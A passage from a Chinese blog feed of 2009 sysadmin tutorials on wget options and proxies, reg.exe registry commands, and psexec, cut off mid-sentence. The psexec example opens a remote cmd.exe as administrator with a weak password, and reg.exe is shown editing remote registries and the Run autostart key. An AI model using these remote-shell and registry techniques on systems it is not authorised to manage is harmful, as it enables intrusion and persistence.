<p>wget可以使用用户设置文件&#8221;.wgetrc&#8221;来读取很多设置，我们这里主要利用这个文件来是<br>设置代理服务器。使用者用什么用户登录，那么什么用户主目录下的&#8221;.wgetrc&#8221;文件就起<br>作用。例如，&#8221;root&#8221;用户如果想使用&#8221;.wgetrc&#8221;来设置代理服务器，&#8221;/root/.wgetrc&#8221;就起<br>作用，下面给出一个&#8221;.wgetrc&#8221;文件的内容，读者可以参照这个例子来编写自己的&#8221;wgetrc&#8221;文件：<br>http-proxy = 111.111.111.111:8080<br>ftp-proxy = 111.111.111.111:8080<br>这两行的含义是，代理服务器IP地址为：111.111.111.111，端口号为：80。第一行指定<br>HTTP协议所使用的代理服务器，第二行指定FTP协议所使用的代理服务器。</p>
<p>wget 的常见用法</p>
<p>wget 的使用格式<br>Usage: wget [OPTION]&#8230; [URL]&#8230;用wget做站点镜像:<br>wget -r -p -np -k http://dsec.pku.edu.cn/~usr_name/<br># 或者<br>wget -m http://www.tldp.org/LDP/abs/html/在不稳定的网络上下载一个部分下载的文件，以及在空闲时段下载<br>wget -t 0 -w 31 -c http://dsec.pku.edu.cn/BBC.avi -o down.log &amp;<br># 或者从filelist读入要下载的文件列表<br>wget -t 0 -w 31 -c -B ftp://dsec.pku.edu.cn/linuxsoft - i filelist.txt -o down.log &amp;上面的代码还可以用来在网络比较空闲的时段进行下载。我的用法是:在mozilla中 将不方便当时下载的URL链接拷贝到内存中然后粘贴到文件filelist.txt中，在晚上要出去系统前执行上面代码的第二条。</p>
<p>使用代理下载<br>wget -Y on -p -k https://sourceforge.net/projects/wvware/代理可以在环境变量或wgetrc文件中设定</p>
<p># 在环境变量中设定代理<br>export PROXY=http://211.90.168.94:8080/<br># 在~/.wgetrc中设定代理<br>http_proxy = http://proxy.yoyodyne.com:18023/<br>ftp_proxy = http://proxy.yoyodyne.com:18023/wget各种选项分类列表<br>启动<br>-V, &#8211;version 显示wget的版本后退出<br>-h, &#8211;help 打印语法帮助<br>-b, &#8211;background 启动后转入后台执行<br>-e, &#8211;execute=COMMAND 执行`.wgetrc&#8217;格式的命令，wgetrc格式参见/etc/wgetrc或~/.wgetrc记录和输入文件<br>-o, &#8211;output-file=FILE 把记录写到FILE文件中<br>-a, &#8211;append-output=FILE 把记录追加到FILE文件中<br>-d, &#8211;debug 打印调试输出<br>-q, &#8211;quiet 安静模式(没有输出)<br>-v, &#8211;verbose 冗长模式(这是缺省设置)<br>-nv, &#8211;non-verbose 关掉冗长模式，但不是安静模式<br>-i, &#8211;input-file=FILE 下载在FILE文件中出现的URLs<br>-F, &#8211;force-html 把输入文件当作HTML格式文件对待<br>-B, &#8211;base=URL 将URL作为在-F -i参数指定的文件中出现的相对链接的前缀<br>&#8211;sslcertfile=FILE 可选客户端证书<br>&#8211;sslcertkey=KEYFILE 可选客户端证书的KEYFILE<br>&#8211;egd-file=FILE 指定EGD socket的文件名下载<br>&#8211;bind-address=ADDRESS 指定本地使用地址(主机名或IP，当本地有多个IP或名字时使用)<br>-t, &#8211;tries=NUMBER 设定最大尝试链接次数(0 表示无限制).<br>-O &#8211;output-document=FILE 把文档写到FILE文件中<br>-nc, &#8211;no-clobber 不要覆盖存在的文件或使用.#前缀<br>-c, &#8211;continue 接着下载没下载完的文件<br>&#8211;progress=TYPE 设定进程条标记<br>-N, &#8211;timestamping 不要重新下载文件除非比本地文件新<br>-S, &#8211;server-response 打印服务器的回应<br>&#8211;spider 不下载任何东西<br>-T, &#8211;timeout=SECONDS 设定响应超时的秒数<br>-w, &#8211;wait=SECONDS 两次尝试之间间隔SECONDS秒<br>&#8211;waitretry=SECONDS 在重新链接之间等待1&#8230;SECONDS秒<br>&#8211;random-wait 在下载之间等待0&#8230;2*WAIT秒<br>-Y, &#8211;proxy=on/off 打开或关闭代理<br>-Q, &#8211;quota=NUMBER 设置下载的容量限制<br>&#8211;limit-rate=RATE 限定下载输率目录<br>-nd &#8211;no-directories 不创建目录<br>-x, &#8211;force-directories 强制创建目录<br>-nH, &#8211;no-host-directories 不创建主机目录<br>-P, &#8211;directory-prefix=PREFIX 将文件保存到目录 PREFIX/&#8230;<br>&#8211;cut-dirs=NUMBER 忽略 NUMBER层远程目录HTTP 选项<br>&#8211;http-user=USER 设定HTTP用户名为 USER.<br>&#8211;http-passwd=PASS 设定http密码为 PASS.<br>-C, &#8211;cache=on/off 允许/不允许服务器端的数据缓存 (一般情况下允许).<br>-E, &#8211;html-extension 将所有text/html文档以.html扩展名保存<br>&#8211;ignore-length 忽略 `Content-Length&#8217;头域<br>&#8211;header=STRING 在headers中插入字符串 STRING<br>&#8211;proxy-user=USER 设定代理的用户名为 USER<br>&#8211;proxy-passwd=PASS 设定代理的密码为 PASS<br>&#8211;referer=URL 在HTTP请求中包含 `Referer: URL&#8217;头<br>-s, &#8211;save-headers 保存HTTP头到文件<br>-U, &#8211;user-agent=AGENT 设定代理的名称为 AGENT而不是 Wget/VERSION.<br>&#8211;no-http-keep-alive 关闭 HTTP活动链接 (永远链接).<br>&#8211;cookies=off 不使用 cookies.<br>&#8211;load-cookies=FILE 在开始会话前从文件 FILE中加载cookie<br>&#8211;save-cookies=FILE 在会话结束后将 cookies保存到 FILE文件中FTP 选项<br>-nr, &#8211;dont-remove-listing 不移走 `.listing&#8217;文件<br>-g, &#8211;glob=on/off 打开或关闭文件名的 globbing机制<br>&#8211;passive-ftp 使用被动传输模式 (缺省值).<br>&#8211;active-ftp 使用主动传输模式<br>&#8211;retr-symlinks 在递归的时候，将链接指向文件(而不是目录)递归下载<br>-r, &#8211;recursive 递归下载－－慎用!<br>-l, &#8211;level=NUMBER 最大递归深度 (inf 或 0 代表无穷).<br>&#8211;delete-after 在现在完毕后局部删除文件<br>-k, &#8211;convert-links 转换非相对链接为相对链接<br>-K, &#8211;backup-converted 在转换文件X之前，将之备份为 X.orig<br>-m, &#8211;mirror 等价于 -r -N -l inf -nr.<br>-p, &#8211;page-requisites 下载显示HTML文件的所有图片递归下载中的包含和不包含(accept/reject)<br>-A, &#8211;accept=LIST 分号分隔的被接受扩展名的列表<br>-R, &#8211;reject=LIST 分号分隔的不被接受的扩展名的列表<br>-D, &#8211;domains=LIST 分号分隔的被接受域的列表<br>&#8211;exclude-domains=LIST 分号分隔的不被接受的域的列表<br>&#8211;follow-ftp 跟踪HTML文档中的FTP链接<br>&#8211;follow-tags=LIST 分号分隔的被跟踪的HTML标签的列表<br>-G, &#8211;ignore-tags=LIST 分号分隔的被忽略的HTML标签的列表<br>-H, &#8211;span-hosts 当递归时转到外部主机<br>-L, &#8211;relative 仅仅跟踪相对链接<br>-I, &#8211;include-directories=LIST 允许目录的列表<br>-X, &#8211;exclude-directories=LIST 不被包含目录的列表<br>-np, &#8211;no-parent 不要追溯到父目录</p>
<p>Wget使用技巧</p>
<p>wget的使用形式是：<br>wget [参数列表] URL</p>
<p>首先来介绍一下wget的主要参数：<br>&#183; -b：让wget在后台运行，记录文件写在当前目录下&#8221;wget-log&#8221;文件中；<br>&#183; -t [nuber of times]：尝试次数，当wget无法与服务器建立连接时，尝试连接多少次。比如&#8221;-t120&#8243;表示尝试120次。当这一项为&#8221;0&#8243;的时候，指定尝试无穷多次直到连接成功为止，这个设置非常有用，当对方服务器突然关机或者网络突然中断的时候，可以在恢复正常后继续下载没有传完的文件；</p>
<p>&#183; -c：断点续传，这也是个非常有用的设置，特别当下载比较大的文件的时候，如果中途意外中断，那么连接恢复的时候会从上次没传完的地方接着传，而不是又从头开始，使用这一项需要远程服务器也支持断点续传，一般来讲，基于UNIX/Linux的Web/FTP服务器都支持断点续传；</p>
<p>&#183; -T [number of seconds]：超时时间，指定多长时间远程服务器没有响应就中断连接，开始下一次尝试。比如&#8221;-T120&#8243;表示如果120秒以后远程服务器没有发过来数据，就重新尝试连接。如果网络速度比较快，这个时间可以设置的短些，相反，可以设置的长一些，一般最多不超过900，通常也不少于60，一般设置在120左右比较合适；</p>
<p>&#183; -w [number of seconds]：在两次尝试之间等待多少秒，比如&#8221;-w 100&#8243;表示两次尝试之间等待100秒；</p>
<p>&#183; -Y on/off：通过／不通过代理服务器进行连接；</p>
<p>&#183; -Q [byetes]：限制下载文件的总大小最多不能超过多少，比如&#8221;-Q2k&#8221;表示不能超过2K字节，&#8221;-Q3m&#8221;表示最多不能超过3M字节，如果数字后面什么都不加，就表示是以字节为单位，比如&#8221;-Q200&#8243;表示最多不能超过200字节；</p>
<p>&#183; -nd：不下载目录结构，把从服务器所有指定目录下载的文件都堆到当前目录里；</p>
<p>&#183; -x：与&#8221;-nd&#8221;设置刚好相反，创建完整的目录结构，例如&#8221;wget -nd http://www.gnu.org&#8221;将创建在当前目录下创建&#8221;www.gnu.org&#8221;子目录，然后按照服务器实际的目录结构一级一级建下去，直到所有的文件都传完为止；</p>
<p>&#183; -nH：不创建以目标主机域名为目录名的目录，将目标主机的目录结构直接下到当前目录下；<br>&#183; &#8211;http-user=username<br>&#183; &#8211;http-passwd=password：如果Web服务器需要指定用户名和口令，用这两项来设定；<br>&#183; &#8211;proxy-user=username<br>&#183; &#8211;proxy-passwd=password：如果代理服务器需要输入用户名和口令，使用这两个选项；<br>&#183; -r：在本机建立服务器端目录结构；<br>&#183; -l [depth]：下载远程服务器目录结构的深度，例如&#8221;-l 5&#8243;下载目录深度小于或者等于5以内的目录结构或者文件；<br>&#183; -m：做站点镜像时的选项，如果你想做一个站点的镜像，使用这个选项，它将自动设定其他合适的选项以便于站点镜像；<br>&#183; -np：只下载目标站点指定目录及其子目录的内容。这也是一个非常有用的选项，我们假设某个人的个人主页里面有一个指向这个站点其他人个人主页的连接，而我们只想下载这个人的个人主页，如果不设置这个选项，甚至&#8211;有可能把整个站点给抓下来，这显然是我们通常不希望的；<br>&#252; 如何设定wget所使用的代理服务器wget可以使用用户设置文件&#8221;.wgetrc&#8221;来读取很多设置，我们这里主要利用这个文件来是设置代理服务器。使用者用什么用户登录，那么什么用户主目录下的&#8221;.wgetrc&#8221;文件就起作用。例如，&#8221;root&#8221;用户如果想使用&#8221;.wgetrc&#8221;来设置代理服务器，&#8221;/root/.wgert&#8221;就起作用，下面给出一个&#8221;.wgetrc&#8221;文件的内容，读者可以参照这个例子来编写自己的&#8221;wgetrc&#8221;文件：</p>
<p>http-proxy = 111.111.111.111:8080<br>ftp-proxy = 111.111.111.111:8080</p>
<p>这两行的含义是，代理服务器IP地址为：111.111.111.111，端口号为：80。第一行指定HTTP协议所使用的代理服务器，第二行指定FTP协议所使用的代理服务器。</p>
<p>wget 使用实例：<br>wget是一个命令行工具，用于批量下载文件，支持HTTP和FTP。究竟比其他的工具好在哪里？看看内容吧 <img class=wp-smiley alt=:) src="http://pengjiayou.com/blog/wp-includes/images/smilies/icon_smile.gif"> </p>
<p>如果我们想下载ftp里面某个目录里面的所有文件，我们也可以不用ftp这个笨蛋，呵呵，可以享受cute ftp等图形化工具的拖一个目录的轻松了。如<br>wget -r ftp://10.8.8.8/movie/</p>
<p>呵呵，等吧！下完了，发觉有些不对劲，怎么出来个10.8.8.8的目录，进去看看，又是一个movie，哦，wget将目录结构和网站标题都给记录下来了，不要？？没有问题！比如说还是这个例子</p>
<p>wget -r -nd ftp://10.8.8.8/movie/</p>
<p>结果什么目录都没有了，faint！怎么会这样？呵呵，你如果想要这样就让它这样吧，否则使用</p>
<p>wget -r -nH ftp://10.8.8.8/movie/</p>
<p>恩？movie也不要？OK，那就这样</p>
<p>wget -r -nH &#8211;cut-dirs=1 ftp://10.8.8.8/movie/</p>
<p>这有什么用啊？cuteftp比他好用多了，而且，你这断了线能连吗？呵呵，不好意思，可以连</p>
<p>wget -c -r -nH &#8211;cut-dirs=1 ftp://10.8.8.8/movie/<br>但 是cuteftp能做下面的事情吗？比如，现在很多网站使用Apache建站，并不提供ftp服务，但是Apache有一个indexing功能，可以提 供一个类似于ftp的界面，好多文件我想下啊，怎么办？由于是HTTP协议，CuteFTP无能为力了，倒是flash get等有什么get all这 种功能，不知道他们对于目录处理怎么样。但是wget一点问题都没有，不信？我们拿CTAN为例（例子并不恰当，CTAN有FTP服务），我们下载这里面 所有的宏包，呵呵</p>
<p>wget -r -k http://www.txia.com/blog</p>
<p>-k表示将连接转换为本地连接。但是现在同样有上面的问题啊，那就把你需要的加上吧，另外也许你根本不需要向下走那么多层，比如，我们就要到第二层，那么</p>
<p>wget -r -l2 -k http://www.txia.com/blog</p>
<p>现在新的问题是，由于网页有一个排序功能，很讨厌，因为下载的时候把网页重复了好多次，那么我们可使用-A和-R开关控制下载类型，并且可以使用通配符，呵呵，现在随心所欲了吧</p>
<p>wget -r -R &#8216;*.htm*\?*&#8217; -k http://www.txia.com/blog</p>
<p>这次没有那种网页了吧？-R的意义在于拒绝下载匹配类型的文件，-A表示仅仅接受的文件类型，如-A &#8216;*.gif&#8217;将仅下载gif图片，如果有多个允许或者不允许，可以使用,分开。</p>
<p>那 么，我们现在在使用代理服务器，怎么办呢？呵呵，很高兴你选择了wget，你可以使用它的配置文件，环境变量来利用代理。这里推荐使用环境变量，如在 bash里面我们可以把天天用的proxy加到.bash_profile里面，这是Linux标准写法（很多软件都用的，什么apt-get，yum 等等）</p>
<p>export http_proxy=http://10.20.30.40:8080</p>
<p>然后，proxy就默认打开了，如果需要暂时关闭，可以使用</p>
<p>wget &#8211;proxy=off -r -k http://www.txia.com/blog</p>
<p>当然，写一个.wgetrc文件也可以，该文件可以从/usr/local/etc里面找到，里面有很详细的注释，我就不多说了。</p>
<p>下载网页的时候比较麻烦的事情是，有的网页被同时指向了很多遍，那么为了避免多次下载，我们使用</p>
<p>wget -nc -r -k http://www.txia.com/blog</p>
<p>可以避免这件事情。为了不被有的连接指向非http://www.txia.com/blog内层目录，我们还应该加上</p>
<p>wget -nc -np -r -k http://www.txia.com/blog</p>
<p>避免下载非该目录里面的文件，这也避免了到不同的host上面去。当然，如果你希望有这个功能，在多个host之间跳来跳去的下载，可以使用</p>
<p>wget -nc -np -H -r -k http://www.txia.com/blog</p>
<p>使得可以在多个host之间span，同时-I和-X可以使得我们仅仅跟踪某些目录或者不跟踪某些目录。如果某些HTML里面你需要的东西不是由这种东西作出来的，你就得使用&#8211;follow-tags和&#8211;ignore-tags了。</p>
<p>嘿，我有个文件里面都是连接，怎么办？要是不是html你只需要</p>
<p>wget -i your.file</p>
<p>如果是，那也不繁</p>
<p>wget -F -i your.file</p>
<img src ="http://www.cppblog.com/luketowne/aggbug/82659.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/luketowne/" target="_blank">露露</a> 2009-05-12 09:53 <a href="http://www.cppblog.com/luketowne/articles/82659.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在Windows XP命令行下使用reg.exe工具</title><link>http://www.cppblog.com/luketowne/articles/82267.html</link><dc:creator>露露</dc:creator><author>露露</author><pubDate>Fri, 08 May 2009 12:56:00 GMT</pubDate><guid>http://www.cppblog.com/luketowne/articles/82267.html</guid><description><![CDATA[注册表中包含了有关计算机如何运行的信息,而注册表&nbsp;编辑器是用来查看和更改系统注册表设置的高级工具。在大&nbsp;多数情况下，我们可以利用&nbsp;Windows&nbsp;自带的&nbsp;Regedit&nbsp;和&nbsp;Regedt32这两个注册表编辑工具来调整注册表中的参数设&nbsp;置（Regedit32仅在Windows&nbsp;2000中有，Windows&nbsp;XP则&nbsp;将两个注册表编辑器合二为一）。可是&#8220;天有不测风云&#8221;，一&nbsp;旦Windows无法正常进入注册表图形界面，问题又产生在&nbsp;注册表参数的错误设置上，这时就必须有一个命令行下的注&nbsp;册表编辑工具来解决这一问题。 <br>Microsoft&nbsp;在&nbsp;Windows&nbsp;XP&nbsp;的安装光盘上提供了一个&nbsp;DOS下的注册表编辑工具&#8220;reg.exe&#8221;。下面我们一起来认识&nbsp;一下这位DOS下的新成员。 <br>reg.exe&nbsp;概述 <br>reg.exe是Windows&nbsp;XP资源工具包的一部分，因此用&nbsp;户在使用前首先要运行&nbsp;Windows&nbsp;&nbsp;XP&nbsp;安装光盘中&nbsp;Support\Tools目录下的setup.exe来完成资源工具包的安&nbsp;装。由于在资源工具包的安装过程中，程序自动将资源工具&nbsp;包的路径添加到&nbsp;Windows&nbsp;XP&nbsp;的&#8220;PATH&#8221;变量下，因此&nbsp;安装完成后，用户可以直接在&nbsp;DOS命令行下运行reg.exe。&nbsp;reg.exe的主要功能包括注册表项的查询、添加、删除、 <br>复制、保存、还原、加载、卸载、导入、导出以及注册表项&nbsp;目的比较和远程操作等十一项，因此reg.exe在功能上并不&nbsp;逊色于图形化的注册表编辑器。 <br>reg.exe的命令格式 <br><br>REG&nbsp;Operation&nbsp;[参数列表] <br>其中&nbsp;Operation&nbsp;可以有&nbsp;11&nbsp;项功能选择: <br>[QUERY|ADD|DELETE|COPY|SAVE|LOAD|UNLOAD <br>|RESTORE|COMPARE|EXPORT|IMPORT]&nbsp;上面对应的是注册表项的查询、添加、删除、复制、保 <br>存、还原、加载、卸载、导入、导出以及注册表项目的比较&nbsp;和远程操作等十一项主要功能。 <br>运行后，将返回代码。0&nbsp;表示成功，1&nbsp;则表示失败。&nbsp;要得到有关某个操作的帮助，可键入REG&nbsp;Operation&nbsp;/?&nbsp;注册表的使用&nbsp;下面我们以添加注册表项为例为大家详细介绍如何利用 <br>reg.exe&nbsp;对注册表进行操作。 <br>reg.exe添加注册表项的命令格式为: <br>REG&nbsp;ADD[\\Machine\]Keyname[/v&nbsp;ValueName|/ <br>ve][/t&nbsp;Type][/s&nbsp;Separator][/d&nbsp;Data][/f]&nbsp;其中，Machine&nbsp;用来指定远程计算机名称，如果操作&nbsp;的是本地计算机则此参数省略。如果要远程操作名为ABC <br>的计算机，其&nbsp;Machine&nbsp;参数表示为&nbsp;"\\ABC"。 <br>Keyname&nbsp;用来指定在注册表的哪个项下新建注册表&nbsp;值，这个参数必须用注册表项的全路径表示，不过注册表的 <br>4个根键用缩写表示（[&nbsp;HKLM&nbsp;|&nbsp;HKCU&nbsp;|&nbsp;HKCR&nbsp;|&nbsp;HKU <br>|&nbsp;HKCC&nbsp;]是注册表五个根键所对应的缩写）。例如我们操&nbsp;作的注册表项如果是&#8220;HKEY_CURRENT_USER\&nbsp;Software\Microsoft\Windows\CurrentVersion\Run&#8221;，则&nbsp;Keyname&nbsp;参数表示为&#8220;HKCU\Software\Microsoft\&nbsp;Windows\CurrentVersion\Run&#8221;。 <br>/v&nbsp;所选项之下要添加的值名; <br>/ve&nbsp;为注册表项添加空白值名&lt;无名称&gt; <br>/t&nbsp;RegKey&nbsp;数据类型: <br>[&nbsp;REG_SZ&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;REG_MULTI_SZ&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;REG_DWORD_BIG_ENDIAN <br>REG_DWORD&nbsp;&nbsp;|&nbsp;&nbsp;REG_BINARY&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;REG_DWORD_LITTLE_ENDI <br>REG_NONE&nbsp;&nbsp;|&nbsp;REG_EXPAND_SZ&nbsp;]&nbsp;如果忽略，则采用&nbsp;REG_SZ&nbsp;类型; <br>/s&nbsp;指定一个在&nbsp;REG_MULTI_SZ&nbsp;数据字符串中用作&nbsp;分隔符的字符; <br>如果忽略，则将&nbsp;"\0"&nbsp;用作分隔符; <br>/d&nbsp;要分配给添加的注册表&nbsp;ValueName&nbsp;的数据; <br>/f&nbsp;不用提示就强行改写现有注册表项。 <br>应用举例 <br>●&nbsp;添加远程机器&nbsp;A&nbsp;B&nbsp;C&nbsp;&nbsp;&nbsp;&nbsp;上的一个注册表项&nbsp;HKLM\Software\MyCo的操作为: <br>REG&nbsp;ADD&nbsp;\\ABC\HKLM\Software\MyCo; <br>●添加一个值(名称:&nbsp;Data，类型:&nbsp;REG_BINARY，数&nbsp;据:&nbsp;fe340ead)的操作为: <br>REG&nbsp;ADD&nbsp;HKLM\Software\MyCo&nbsp;/v&nbsp;Data&nbsp;/t <br>REG_BINARY&nbsp;/d&nbsp;fe340ead; <br>●添加一个值(名称:&nbsp;MRU，类型:&nbsp;REG_MUTLI_SZ，&nbsp;数据:&nbsp;fax\0mail\0\0)的操作为: <br>REG&nbsp;ADD&nbsp;HKLM\Software\MyCo&nbsp;/v&nbsp;MRU&nbsp;/t <br>REG_MULTI_SZ&nbsp;/d&nbsp;fax\0mail; <br>●添加一个值(名称:&nbsp;Path，类型:&nbsp;REG_EXPAND_SZ，&nbsp;数据:&nbsp;%systemroot%)的操作为: <br>REG&nbsp;ADD&nbsp;HKLM\Software\MyCo&nbsp;/v&nbsp;Path&nbsp;/t <br>REG_EXPAND_SZ&nbsp;/d&nbsp;%%systemroot%%。&nbsp;注意:在扩充字符串中使用双百分比符号(&nbsp;%%&nbsp;)。
<img src ="http://www.cppblog.com/luketowne/aggbug/82267.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/luketowne/" target="_blank">露露</a> 2009-05-08 20:56 <a href="http://www.cppblog.com/luketowne/articles/82267.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>reg.exe使用方法</title><link>http://www.cppblog.com/luketowne/articles/82265.html</link><dc:creator>露露</dc:creator><author>露露</author><pubDate>Fri, 08 May 2009 12:51:00 GMT</pubDate><guid>http://www.cppblog.com/luketowne/articles/82265.html</guid><description><![CDATA[<span class=t18><span id=ArticleContent1_ArticleContent1_lblContent>1. REG ADD<br><br>　　用该命令加入一个新的指定键值，从给出的例子文件来看，基本的使用方法如下：<br><br>命令－计算机名称－根键名－［子键名称－类型－数据］下面是更详细、规范的表述：<br><br>REG ADD [\\Machine\]Keyname [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]<br>参数及说明：<br><br>Machine ：<br><br>　　计算机名称，此处关于计算机名称的介绍，其它命令也将使用,请注意．以Machine指定远程计算机名称，如果省略，默认值是使用当前的本地计算机，不能使用驱动器名来指定远程计算机名．计算机名称前面的双反斜杠符号不能省去．如：\\MYDIAC 就是一个正确的范例．<br><br>Keyname ：键名，此处关于键名的解释，其它命令也将使用，请注意．<br><br>格式：[Rootkey\]Key<br><br>Rootkey 是根键<br><br>根键可以使用以下形式的简写:<br><br><br>根键名<br><br>简写形式<br><br>HKEY_LOCAL_MACHINE<br>HKLM<br>HKEY_CURRENT_USER<br>HKCU<br>HKEY_CLASSES_ROOT<br>HKCR<br>HKEY_CURRENT_CONFIGURATION<br>HKCC<br><br>注意： HKLM 和 HKCU 键值仅适用与远程计算机。<br><br>Key ：子键<br><br>所选根键之下的子键的完整名字<br>/v Valuename<br>　　向指定注册表加入新键值的名称，如果包含有空格，则字符串应使用引号<br>/ve<br>　　加入的空键值名<br>/t type<br>　　指定使用的数字或字符串的类型，这些类型与win9x相同，这里不再详细介绍．<br>/s Separator<br>　　指定注册表使用的数据字符串的分隔字符，例如使用REG_MULTI_SZ类型时.默认情况下就 "\o" 作为分隔字符。<br>/f<br>　　允许覆盖现存的注册表<br>/d Data<br>　　向注册表中的指定键以指定数据赋于键值<br>2. REG COMPARE<br><br>　　将当前（本地计算机）的注册表与另外一个注册表或另外一个远程计算机上的注册表进行比较．将比较结果输出到一个文件上．<br><br>REG COMPARE [\\Machine\]Keyname1 [\\Machine\]Keyname2 [/v ValueName] | /ve] [/s] [Output]<br><br>参数及说明：<br>Machine ：<br>　　　　指定的计算机名称．含义与上面一样<br>Keyname1, Keyname2：<br>　　　　注册表的键名，含义及格式与上面一样<br>/V Valuename：<br>　　　进行比较的键值的名称，如果包含有空格，则字符串应使用引号<br>/VE, /ve<br>　　比较默认（无键名的）键值<br>/S, /s ：<br>　　比较所有子键<br>Output 输出<br>　　以下列形式的开关参数控制输出结果：<br>/OA,/oa：输出全部的不同部分与相同部分<br>/OD,/od：仅输出不同部分；　/OS,/os：仅输出相同部分<br>/ON,/on没有任何输出<br>返回代码的含义:<br>0：成功地进行了比较，比较的结果是二者相同<br>1：比较过程失败；　　2-成功地进行了比较，比较的结果是二者不相同<br>3.REG COPY<br>　　将当前的注册表或远程计算机上的注册表拷贝到一个新的位置（或计算机上）。<br>REG COPY [\\Machine\]SourceKey [\\Machine\]DestinationKey [/s] [/f]<br>参数及说明：<br>Machine ：<br>　　　指定的计算机名称．含义与上面一样<br>SourceKey 和 DestinationKey：<br>＂源＂键和＂目的＂键：注册表的键名称，含义及格式与上面一样<br>/s ：<br>　　　拷贝全部子键及键值<br>/f<br>　　强制拷贝<br>　　举例：<br><br>　　甲例子：REG COPY HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SaveMyApp<br>　　这里MyApp和 SaveMyApp 是不同注册表中的子键名，都在键名为 MyCo的键之下.执行结果是将MyApp拷贝向 SaveMyApp中。<br><br>　　乙例子： REG COPY \\SAFARI\HKLM\Software\MyCo \\ZODIAC\HKLM\Software\MyCo<br>这里的ZODIAC和SAFARI是计算机名，MyCo 是两台机器的注册表中都有的键名，执行结果是SAFARI机器的键值被拷向ZODIAC.它与上面一个的主要区别是：１．两台机器都是远程计算机．２．所拷贝的是该键之下的全部内容而不是某一项．<br><br>丙例子： REG COPY \\ZODIAC\HKLM\Software\MyCo HKLM\Software\MyCo1<br>作用与上面类似，但ZODIAC是远程计算机，而HKLM是本地当前所用计算机．<br><br>4.REG DELETE<br><br>　　删除一个注册表、注册表键值或子键值．<br><br>REG DELETE [\\Machine\]Keyname [/v ValueName | /ve | /va] [/f]<br><br>参数及说明：<br><br>Machine ：指定的计算机名称．含义与上面一样<br><br>Keyname ：注册表的键名称，含义及格式与上面相同<br><br>/v Valuename ：<br><br>　　指定删除的键值的名称，如果包含有空格，则字符串应使用引号<br><br>/va ：删除该键之下的所有键值<br><br>/ve ： 删除无键名的值<br><br>/f ： 强制删除<br><br>5.REG EXPORT<br><br>　　将注册表导出到一个文件上．仅适用于在本地计算机导出。<br><br>REG EXPORT Keyname Filename [/nt4]<br><br>参数及说明：<br><br>Keyname ：注册表的键名称，含义及格式与上面相同<br><br>FileName ：导出的注册表文件名<br><br>/nt4 以windowsNT4.0的注册表格式导出<br><br>6.REG IMPORT<br><br>　　将（备份的）一个注册表文件导入到计算机中．仅适用于在本地计算机。<br><br>REG IMPORT FileName<br><br>参数及说明：<br><br>FileName ：准备导入的注册表文件名<br><br>7.REG LOAD<br><br>　　从备份的注册表中临时装入一个指定的键值，这种操作类似于使用注册表编辑器导入某一个键值。<br><br>REG LOAD [\\Machine\] KeyName FileName<br><br>参数及说明：<br><br>Machine 计算机名，参数含义与上面相同。<br><br>Keyname：临时装入的键名称，但含义及格式与上面相同<br><br>Key：指定的键名，这个键名是指定文件中所选择的根键或其以下的键值的集合，这个临时装入的键或其集合将在下次启动时删除，也可以用REG UNLOAD命令删除。<br><br>FileName ：指定的文件名。<br><br>8.REG QUERY<br><br>　　显示相关项目的信息，此处所指项目可以是整个注册表之中的根键、子键或其键集合。<br><br>REG QUERY [\\Machine\]KeyName [/v ValueName | /ve] [/s]<br><br>参数及说明：<br><br>Machine 计算机名称，含义与上面相同<br><br>Keyname 键名　含义及格式与上面相同<br><br>Key 所选择根键之下的子键名<br><br>/v Valuename ：指定的希望显示键值的名称，如果包含有空格，则字符串应使用引号 <br><br>/ve ：显示无键名的值.<br><br>/s 显示指定键名之下所有子键<br><br>9.REG RESTORE 恢复注册表<br><br>REG RESTORE [\\Machine\]KeyName FileName<br><br>参数及说明：<br><br>Machine 计算机名称，含义与上面相同<br><br>Keyname 键名，含义及格式与上面相同<br><br>FileName ：<br><br>　　文件名，这个文件必须是用REG SAVE命令所建立的<br><br>10.REG SAVE<br><br>　　保存注册表，这个操作是类似注册表编辑器中的将整个注册表导出到一个文件中，当然，也可以导出某个键或其下面的子键的集合．<br><br>REG SAVE [\\Machine\]KeyName FileName<br><br>Machine： 计算机名称，含义与上面相同<br><br>Keyname 键名，含义及格式与上面相同<br><br>　FileName ：<br><br>　　指定的导出文件名，如果不指定路径，则文件就默认保存在当前计算机的当前目录下；如果是远程计算机，不指定路径时，导出文件保存在%SystemRoot%\system32 文件夹．<br><br>　　注意：不能保存HKLM\Security 子键.因它是受系统保护的．<br><br>11.REG UNLOAD<br><br>　　移去装入的部分，移去原来用RED LOAD命令装入的部分键或其以下的子键集合．<br>REG UNLOAD [\\Machine\]KeyName<br>参数及说明：<br>Machine 计算机名称，含义与上面相同<br>Keyname 键名，含义与上面相同</span></span> </span></span>
<img src ="http://www.cppblog.com/luketowne/aggbug/82265.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/luketowne/" target="_blank">露露</a> 2009-05-08 20:51 <a href="http://www.cppblog.com/luketowne/articles/82265.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>pstools使用方法</title><link>http://www.cppblog.com/luketowne/articles/82215.html</link><dc:creator>露露</dc:creator><author>露露</author><pubDate>Fri, 08 May 2009 02:48:00 GMT</pubDate><guid>http://www.cppblog.com/luketowne/articles/82215.html</guid><description><![CDATA[下面我用一个实例来讲解这个命令的使用。假设我要对192.168.0.8计算机进行远程管理，那么我可以先打开一个命令行窗口。在命令行中输入以下命令后敲回车： <br>D:\tools\Pstools&gt;psexec file://192.168.0.8/ -u administrator -p 123 cmd.exe <br>PsExec v1.31 - execute processes remotely <br>Copyright (C) 2001-2002 Mark Russinovich <br>Microsoft Windows 2000 [Version 5.00.2195] <br>(C) 版权所有 1985-1998 Microsoft Corp. <br>C:\WINNT\system32&gt; <br>解释一下，上述参数中的&#8220;-u administrator&#8221;是表示使用administrator身份来登录192.168.0.8计算机；&#8220;-p 